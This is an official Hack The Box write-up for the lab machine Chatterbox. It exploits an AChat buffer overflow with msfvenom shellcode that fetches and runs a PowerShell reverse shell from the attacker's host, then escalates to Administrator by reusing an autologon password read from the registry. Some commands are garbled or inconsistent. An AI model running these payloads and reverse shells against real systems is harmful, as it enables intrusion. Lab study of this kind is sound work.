



Hack The Box
PEN-TESTING LABS



Chatterbox

16th June 2018 / Document No D18.100.07

Prepared By: Alexander Reid (Arrexel)

Machine Author: Ikys37en

Difficulty: **Easy**

Classification: Official



SYNOPSIS

Chatterbox is a fairly straightforward machine that requires basic exploit modification or Metasploit troubleshooting skills to complete.

Skills Required

- Beginner/intermediate knowledge of Linux
- Beginner/intermediate knowledge of PowerShell

Skills Learned

- Modifying publicly available exploits
- Basic PowerShell reverse shell techniques
- Enumerating Windows Registry



Enumeration

Nmap

```
nmap -p---min-rate=1000 -sV 10.10.10.74

Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.10.10.74
Host is up (0.16s latency).

PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds
(workgroup: WORKGROUP)
9255/tcp    open  http         AChat chat system httpd
9256/tcp    open  achat        AChat chat system
49152/tcp  open  msrpc        Microsoft Windows RPC
49153/tcp  open  msrpc        Microsoft Windows RPC
49154/tcp  open  msrpc        Microsoft Windows RPC
49155/tcp  open  msrpc        Microsoft Windows RPC
49156/tcp  open  msrpc        Microsoft Windows RPC
49157/tcp  open  msrpc        Microsoft Windows RPC
Service Info: Host: CHATTERBOX; OS: Windows; CPE: cpe:/o:microsoft:windows
```

We can see that the server is running “AChat chat system” on ports 9255 & 9256.



Exploitation

AChat Buffer Overflow

A quick Google search for “Achat exploits” reveals a Remote Buffer Overflow vulnerability in version 0.150 beta 7. A proof-of-concept (PoC) for this exploit is available [here](#), which we can download to our local machine.

```
Unset
```

```
curl https://www.exploit-db.com/download/36025 -o 36025.py
```

Upon reviewing the PoC code, we notice that it requires a shellcode payload, and the server IP address must be updated to point to our target.

We can use a PowerShell reverse shell script, available [here](#), as our payload. Let's download that to our local system as well.

```
Unset
```

```
curl https://gist.github.com/egre55/c058744a4240af6515eb32b2d33fbed3/raw/3ad91872713d60888dca95850c3f6e706231cb40/powershell_reverse_shell.ps1 -o rev_shell.ps1
```

Next, we need to generate shellcode that instructs the remote server to fetch and execute the PowerShell reverse shell script from our machine. We can achieve this using **msfvenom**, which allows us to generate the required shellcode. The command below will generate a payload that downloads the rev_shell.ps1 file and runs the PowerShell script from the attacker's server.



Unset

```
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell  
\"IEX(New-Object  
Net.WebClient).downloadString('http://<YOUR_IP>/rev_shell.ps1')\"" -e  
x86/unicode_mixed -b  
'\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x  
92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\  
xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\  
\xba\xbb\xbc\xbd\xbe\xbf\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f' BufferRegister=EAX -f python
```

Replace the shellcode in the Python exploit script with the generated shellcode. Let's set up a Python HTTP server to host the reverse shell script.

Unset

```
python -http.server 80
```

Start a netcat listener.

Unset

```
nc -nvlp 1337
```

Now run the exploit.

```
root@kali:~/Desktop/writeups/chatterbox# python 36025.py  
---->{P00F}!
```

```
root@kali:~/Desktop/writeups/chatterbox# python -m SimpleHTTPServer 80  
Serving HTTP on 0.0.0.0 port 80 ...  
10.10.10.74 - - [24/Jun/2018 13:47:08] "GET /writeup HTTP/1.1" 200 -
```



We successfully received a shell as user alfred on our listener.

```
root@kali:~/Desktop/wordlists# nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.74] 49161
whoami
chatterbox\alfred
PS C:\Windows\system32>
```

Privilege Escalation

Administrator

PowerUp: <https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1>

Running PowerUp reveals a set of Autologon credentials hidden in the registry.

```
[*] Checking for Autologon credentials in registry...

DefaultDomainName      :
DefaultUserName        : Alfred
DefaultPassword        : Welcome1!
AltDefaultDomainName   :
AltDefaultUserName     :
AltDefaultPassword     :
```

Attempting to re-use this password with the Administrator account is successful, and can be achieved using powershell or by opening SMB and using impacket's psexec.

We will be getting a shell as the Administrator user via Powershell in this writeup. We can use [this powershell reverse shell file](#) for our purpose here. Make sure to update the IP address and the listener port in the reverse shell file. We can transfer it to the remote host by hosting it on a Python HTTP webserver.

Unset

```
python3 -m http.server 80
```



Fetch the reverse shell file on the target machine.

Unset

```
certutil -urlcache -split -f http://YOUR_IP/powershell-reverse-shell.ps1  
c:\programdata\powershell-reverse-shell.ps1
```

We begin by creating a SecureString password **\$passwd** and then generate a PSCredential object to store the credentials in **\$creds** for the session. Since the target machine is running PowerShell version 2.0, we need to use commands that are compatible with it.

Unset

```
$passwd = New-Object System.Security.SecureString  
'Welcome1!'.ToCharArray() | ForEach-Object { $passwd.AppendChar($_) }  
  
$creds = New-Object System.Management.Automation.PSCredential("administrator",  
$passwd)
```

At this point, we can start a netcat listener on the listener port specified in the reverse shell file.

Unset

```
nc -nvlp <LISTENER_PORT>
```

A reverse shell can now be opened with the supplied credentials using the command

Unset

```
Start-Process -FilePath "powershell" -ArgumentList "-ExecutionPolicy Bypass  
-File C:\ProgramData\powershell-reverse-shell.ps1" -Credential $creds
```



```
root@kali:~/Desktop/writeups/chatterbox# nc -nvlp 1235
listening on [any] 1235 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.74] 49168

PS C:\Windows\system32> whoami
chatterbox\administrator
PS C:\Windows\system32> 
```